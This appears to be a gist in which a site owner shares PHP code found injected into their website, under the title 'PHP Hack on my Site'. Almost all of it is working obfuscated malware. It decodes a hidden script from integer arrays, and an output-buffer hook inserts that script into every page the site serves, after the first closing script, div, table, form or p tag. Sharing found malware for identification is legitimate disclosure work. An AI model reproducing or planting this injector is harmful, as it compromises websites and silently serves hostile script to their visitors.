PHP Hack on my Site

gistfile1.aw

<?php global $ob_starting;
if(!$ob_starting) {
   function ob_start_flush($s) {
	$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 23, 73, 8, 9, 12, 76, 68, 63, 24, 78, 3, 19, 65, 27, 14, 70, 80, 29, 16, 85, 89, 17, 86, 2, 18, 77, 91, 93, 11, 66, 71, 72, 75, 20, 87, 74, 59, 13, 22, 61, 52, 25, 28, 37, 35, 15, 1, 21, 30, 34, 92, 36, 41, 88, 46, 51, 33);
	$tr = array(50, 5, 4, 3, 9, 24, 2, 0, 2, 28, 24, 1, 25, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 9, 24, 2, 31, 56, 9, 23, 0, 10, 2, 28, 24, 1, 7, 23, 10, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 11, 25, 25, 31, 27, 17, 14, 1, 23, 9, 17, 1, 14, 31, 11, 0, 34, 0, 0, 0, 30, 20, 3, 0, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 0, 25, 0, 17, 1, 42, 0, 64, 3, 3, 20, 28, 10, 6, 18, 41, 37, 16, 32, 8, 32, 6, 12, 0, 6, 18, 16, 29, 8, 16, 8, 23, 6, 12, 0, 6, 18, 16, 19, 32, 23, 16, 19, 6, 12, 0, 6, 18, 16, 16, 8, 23, 8, 41, 6, 12, 0, 6, 18, 41, 4, 19, 29, 16, 19, 6, 12, 0, 6, 18, 8, 41, 16, 8, 16, 19, 6, 12, 0, 6, 18, 19, 1, 8, 49, 8, 26, 6, 12, 0, 6, 18, 16, 55, 8, 26, 16, 32, 6, 12, 0, 6, 18, 8, 32, 16, 29, 8, 16, 6, 12, 0, 6, 18, 8, 23, 16, 19, 19, 29, 6, 12, 0, 6, 18, 32, 23, 16, 32, 16, 29, 6, 12, 0, 6, 18, 8, 32, 41, 4, 19, 29, 6, 12, 0, 6, 18, 8, 8, 16, 19, 16, 19, 6, 12, 0, 6, 18, 8, 23, 41, 49, 19, 1, 6, 12, 0, 6, 18, 19, 1, 8, 20, 8, 26, 6, 12, 0, 6, 18, 8, 37, 8, 16, 8, 8, 6, 12, 0, 6, 18, 8, 16, 8, 37, 16, 32, 6, 12, 0, 6, 18, 19, 14, 8, 32, 8, 1, 6, 12, 0, 6, 18, 19, 14, 8, 32, 8, 32, 6, 12, 0, 6, 18, 19, 1, 8, 49, 16, 32, 6, 12, 0, 6, 18, 19, 1, 8, 49, 16, 26, 6, 12, 0, 6, 18, 16, 41, 8, 41, 16, 29, 6, 12, 0, 6, 18, 16, 16, 19, 14, 8, 4, 6, 12, 0, 6, 18, 8, 16, 8, 14, 19, 14, 6, 12, 0, 6, 18, 8, 23, 8, 8, 8, 23, 6, 12, 0, 6, 18, 19, 29, 41, 14, 26, 26, 6, 11, 21, 0, 0, 0, 30, 20, 3, 0, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 0, 25, 0, 29, 21, 0, 0, 0, 30, 20, 3, 0, 4, 7, 13, 7, 3, 5, 15, 24, 9, 4, 40, 1, 14, 0, 25, 0, 26, 21, 0, 0, 0, 23, 27, 17, 4, 2, 9, 7, 17, 0, 14, 9, 30, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 2, 12, 5, 2, 28, 13, 1, 14, 11, 0, 34, 30, 20, 3, 0, 5, 0, 25, 0, 31, 31, 21, 23, 7, 3, 0, 10, 43, 25, 26, 21, 43, 50, 2, 22, 13, 1, 17, 38, 2, 39, 21, 43, 36, 36, 11, 0, 34, 30, 20, 3, 0, 4, 15, 3, 38, 37, 0, 25, 0, 2, 44, 43, 47, 21, 23, 7, 3, 0, 10, 9, 25, 29, 21, 9, 50, 8, 21, 9, 36, 36, 11, 0, 34, 30, 20, 3, 0, 4, 15, 4, 13, 3, 0, 25, 0, 4, 15, 3, 38, 37, 22, 5, 27, 37, 5, 2, 3, 10, 9, 36, 36, 12, 32, 11, 21, 9, 23, 0, 10, 4, 15, 4, 13, 3, 54, 25, 31, 26, 26, 31, 11, 0, 5, 0, 36, 25, 0, 63, 2, 3, 9, 17, 38, 22, 23, 3, 7, 33, 52, 39, 20, 3, 52, 7, 14, 1, 10, 24, 20, 3, 5, 1, 60, 17, 2, 10, 4, 15, 4, 13, 3, 12, 29, 46, 11, 45, 29, 55, 11, 21, 35, 35, 9, 23, 0, 10, 5, 2, 28, 13, 1, 14, 11, 0, 34, 5, 0, 25, 0, 5, 22, 5, 27, 37, 5, 2, 3, 10, 26, 12, 19, 46, 11, 0, 36, 0, 5, 22, 5, 27, 37, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 38, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 37, 5, 2, 3, 10, 26, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 38, 1, 2, 48, 9, 33, 1, 10, 11, 0, 36, 0, 5, 22, 5, 27, 37, 5, 2, 3, 10, 10, 5, 22, 13, 1, 17, 38, 2, 39, 45, 32, 11, 11, 21, 35, 0, 1, 13, 5, 1, 0, 34, 5, 0, 25, 0, 5, 22, 5, 27, 37, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 38, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 37, 5, 2, 3, 10, 26, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 38, 1, 2, 48, 9, 33, 1, 10, 11, 21, 35, 3, 1, 2, 27, 3, 17, 0, 5, 21, 0, 0, 0, 35, 0, 0, 0, 23, 27, 17, 4, 2, 9, 7, 17, 0, 2, 3, 28, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 0, 34, 2, 3, 28, 0, 34, 0, 0, 0, 9, 23, 10, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 38, 1, 2, 51, 13, 1, 33, 1, 17, 2, 57, 28, 60, 14, 0, 58, 58, 0, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 11, 34, 14, 7, 4, 27, 33, 1, 17, 2, 22, 42, 3, 9, 2, 1, 10, 14, 9, 30, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 12, 29, 11, 11, 21, 0, 0, 0, 35, 0, 1, 13, 5, 1, 0, 34, 30, 20, 3, 0, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 25, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 10, 31, 5, 4, 3, 9, 24, 2, 31, 11, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 2, 28, 24, 1, 25, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 9, 24, 2, 31, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 5, 3, 4, 25, 14, 9, 30, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 12, 26, 11, 21, 14, 7, 4, 27, 33, 1, 17, 2, 22, 38, 1, 2, 51, 13, 1, 33, 1, 17, 2, 5, 57, 28, 48, 20, 38, 62, 20, 33, 1, 10, 31, 39, 1, 20, 14, 31, 11, 44, 26, 47, 22, 20, 24, 24, 1, 17, 14, 52, 39, 9, 13, 14, 10, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 11, 21, 35, 35, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 34, 0, 35, 2, 3, 28, 0, 34, 4, 39, 1, 4, 40, 15, 4, 7, 13, 7, 3, 5, 15, 24, 9, 4, 40, 1, 14, 10, 11, 21, 35, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 34, 0, 5, 1, 2, 48, 9, 33, 1, 7, 27, 2, 10, 31, 2, 3, 28, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 31, 12, 0, 55, 26, 26, 11, 21, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 28, 15, 24, 9, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 21, 35, 50, 53, 5, 4, 3, 9, 24, 2, 56);

	$ob_htm = ''; foreach($tr as $tval) {
		$ob_htm .= chr($tc[$tval]+32);
	}

	$slw=strtolower($s);
	$i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
	if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
	if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
	if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
	if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
	if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
	if(!$i){$i=strlen($s);if($i){$i--;}}
	$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);
	
	return $s;
   }
   $ob_starting = time();
   @ob_start("ob_start_flush");
} ?>